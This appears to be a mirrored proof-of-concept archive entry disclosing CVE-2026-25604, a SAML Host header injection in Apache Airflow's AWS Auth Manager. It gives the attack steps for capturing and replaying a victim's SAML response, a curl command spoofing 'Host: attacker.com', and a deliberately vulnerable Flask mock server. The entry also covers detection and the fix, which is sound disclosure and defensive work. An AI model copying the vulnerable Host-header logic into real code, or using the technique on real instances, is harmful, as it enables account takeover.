PoC Archive PoC Archive
High CVE-2026-25604 patched

Apache Airflow AWS Auth Manager SAML Host Header Injection (CVE-2026-25604)

by Sungwuk Jung (PoC repository: John-Jung) · 2026-07-05

Severity
High
CVE
CVE-2026-25604
Category
web
Affected product
Apache Airflow — apache-airflow-providers-amazon (AWS Auth Manager)
Affected versions
8.0.0 - 9.21.x (fixed in 9.22.0)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / ResearcherSungwuk Jung (PoC repository: John-Jung)
CVE / AdvisoryCVE-2026-25604
Categoryweb
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagssaml, host-header-injection, authentication-bypass, apache-airflow, aws-iam-identity-center, cwe-346, origin-validation, token-replay
RelatedN/A

Affected Target

FieldValue
Software / SystemApache Airflow — apache-airflow-providers-amazon (AWS Auth Manager)
Versions Affected8.0.0 - 9.21.x (fixed in 9.22.0)
Language / PlatformPython (Flask mock server for PoC); target is a Python web application
Authentication RequiredNo (attacker abuses the pre-authentication login redirect flow)
Network Access RequiredYes

Summary

CVE-2026-25604 is a CWE-346 origin validation error in Apache Airflow’s AWS Auth Manager. When building the SAML AssertionConsumerService (ACS) callback URL for a login request, the code reads the HTTP Host header directly from the incoming request instead of using the configured instance base URL. An attacker who can influence the Host header seen by Airflow (e.g. via a reverse proxy misconfiguration, phishing link, or direct request) can cause the SAML AuthnRequest to instruct the identity provider (AWS IAM Identity Center) to deliver the signed SAML response to an attacker-controlled host. The attacker then replays the captured SAML response against the legitimate Airflow instance to authenticate as the victim, or reuses a response across multiple Airflow instances that share the IdP but have different access controls. The included PoC is a mock vulnerable Airflow SAML endpoint (Flask + python3-saml) that reproduces the vulnerable _prepare_flask_request() logic for demonstration against a real AWS IAM Identity Center SAML app.


Vulnerability Details

Root Cause

aws_auth_manager.py’s _prepare_flask_request() builds the SAML SP’s ACS URL using request.headers.get("Host", request.host) — an attacker-controlled value — rather than the administrator-configured AIRFLOW__API__BASE_URL, so the identity provider is told to deliver the SAML response to whatever host the client claims.

Attack Vector

  1. Attacker sends (or lures a victim into sending) a login request to the Airflow instance with a spoofed Host header (e.g. Host: attacker.com:9090).
  2. Airflow’s AWS Auth Manager builds a SAML AuthnRequest whose ACS URL points to attacker.com:9090/login_callback instead of the real instance.
  3. The identity provider (AWS IAM Identity Center) authenticates the victim normally and redirects the signed SAML response to the attacker-controlled ACS URL.
  4. Attacker captures the valid SAML response from their own server.
  5. Attacker replays the captured SAML response to the real Airflow instance’s /login_callback, authenticating as the victim (or replays it against a different Airflow instance sharing the same IdP application, bypassing that instance’s separate access controls).

Impact

Authentication bypass allowing an attacker to gain authenticated access to Airflow as another user, exposing DAG configurations, stored connection credentials, and pipeline data, plus potential cross-instance access control bypass in multi-tenant deployments.


Environment / Lab Setup

Target:   apache-airflow-providers-amazon 8.0.0-9.21.x with AWS Auth Manager + SAML via AWS IAM Identity Center
Attacker: Python 3.8+, flask, python3-saml (pip install flask python3-saml), curl

Proof of Concept

PoC Script

See mock_airflow.py in this folder.

1
2
python mock_airflow.py <SAML_METADATA_URL> [PORT]
curl -v -H "Host: attacker.com:9090" http://127.0.0.1:8080/login

The mock server reproduces Airflow’s vulnerable _prepare_flask_request() logic, building the SAML ACS URL from the client-supplied Host header. Running it and sending a login request with a spoofed Host header shows the resulting SAML AuthnRequest pointing its ACS callback at the attacker-controlled host instead of the real server, confirming the injection.


Detection & Indicators of Compromise

Signs of compromise:

  • Login requests with unexpected or attacker-domain Host headers hitting /login or /login_callback
  • SAML responses being POSTed to /login_callback from IP ranges inconsistent with the identity provider or victim
  • Successful authentications immediately following anomalous Host header values in access logs

Remediation

ActionDetail
Primary fixUpgrade apache-airflow-providers-amazon to 9.22.0 or later, which uses conf.get("api", "base_url") instead of the client-supplied Host header (fix PR #61368)
Interim mitigationTerminate/normalize the Host header at a trusted reverse proxy/load balancer before it reaches Airflow, and reject requests where Host doesn’t match the expected instance hostname

References


Notes

Mirrored from https://github.com/John-Jung/CVE-2026-25604-PoC on 2026-07-05.

mock_airflow.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
#!/usr/bin/env python3
"""
Mock Airflow AWS Auth Manager - Demonstrates Host Header Injection vulnerability
"""

from flask import Flask, request, redirect, make_response
from onelogin.saml2.auth import OneLogin_Saml2_Auth
from onelogin.saml2.idp_metadata_parser import OneLogin_Saml2_IdPMetadataParser
import sys

app = Flask(__name__)

SAML_METADATA_URL = sys.argv[1] if len(sys.argv) > 1 else ""
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 8080

def _prepare_request_VULNERABLE(req):
    """
    VULNERABLE: Uses Host header directly (like real Airflow)
    """
    host = req.headers.get("Host", req.host)
    
    # Parse host and port from Host header
    if ":" in host:
        hostname, port = host.rsplit(":", 1)
    else:
        hostname = host
        port = "443" if req.scheme == "https" else "80"
    
    return {
        "https": "on" if req.scheme == "https" else "off",
        "http_host": hostname,
        "server_port": port,
        "script_name": req.path,
        "get_data": req.args.to_dict(),
        "post_data": req.form.to_dict(),
    }

def _init_saml_auth(req):
    request_data = _prepare_request_VULNERABLE(req)
    
    print(f"[DEBUG] http_host={request_data['http_host']}, server_port={request_data['server_port']}")
    
    settings = {
        "debug": True,
        "sp": {
            "entityId": "aws-auth-manager-saml-client",
            "assertionConsumerService": {
                "url": f"http://{request_data['http_host']}:{request_data['server_port']}/login_callback",
                "binding": "urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST",
            },
        },
    }
    idp_data = OneLogin_Saml2_IdPMetadataParser.parse_remote(SAML_METADATA_URL)
    merged = OneLogin_Saml2_IdPMetadataParser.merge_settings(idp_data, settings)
    return OneLogin_Saml2_Auth(request_data, merged)

@app.route("/")
def index():
    return f"""
    <h1>Mock Airflow - Port {PORT}</h1>
    <p><a href="/login">Login with SAML</a></p>
    <p>SAML Metadata: {SAML_METADATA_URL}</p>
    <hr>
    <p><b>Host Header received:</b> {request.headers.get('Host')}</p>
    """

@app.route("/login")
def login():
    print(f"[LOGIN] Host header: {request.headers.get('Host')}")
    saml_auth = _init_saml_auth(request)
    redirect_url = saml_auth.login()
    return redirect(redirect_url)

@app.route("/login_callback", methods=["POST"])
def login_callback():
    host = request.headers.get("Host")
    print(f"\n{'='*60}")
    print(f"[CALLBACK] Host header: {host}")
    print(f"[CALLBACK] SAMLResponse received")
    print(f"{'='*60}")
    
    saml_auth = _init_saml_auth(request)
    
    try:
        saml_auth.process_response()
        
        if not saml_auth.is_authenticated():
            error_reason = saml_auth.get_last_error_reason()
            print(f"[CALLBACK] Auth FAILED: {error_reason}")
            return f"Authentication failed: {error_reason}", 401
        
        nameid = saml_auth.get_nameid()
        print(f"[CALLBACK] Auth SUCCESS! User: {nameid}")
        
        response = make_response(f"<h1>SUCCESS!</h1><p>User: {nameid}</p><p>Server Port: {PORT}</p>")
        response.set_cookie("session", f"authenticated_{nameid}", httponly=True)
        return response
        
    except Exception as e:
        print(f"[CALLBACK] Exception: {e}")
        return f"SAML Error: {e}", 500

if __name__ == "__main__":
    if not SAML_METADATA_URL:
        print("Usage: python mock_airflow.py <SAML_METADATA_URL> [PORT]")
        sys.exit(1)
    
    print(f"\n{'='*60}")
    print(f"  Mock Airflow - VULNERABLE to Host Header Injection")
    print(f"  Port: {PORT}")
    print(f"  Metadata: {SAML_METADATA_URL}")
    print(f"{'='*60}\n")
    
    app.run(host="0.0.0.0", port=PORT, debug=True)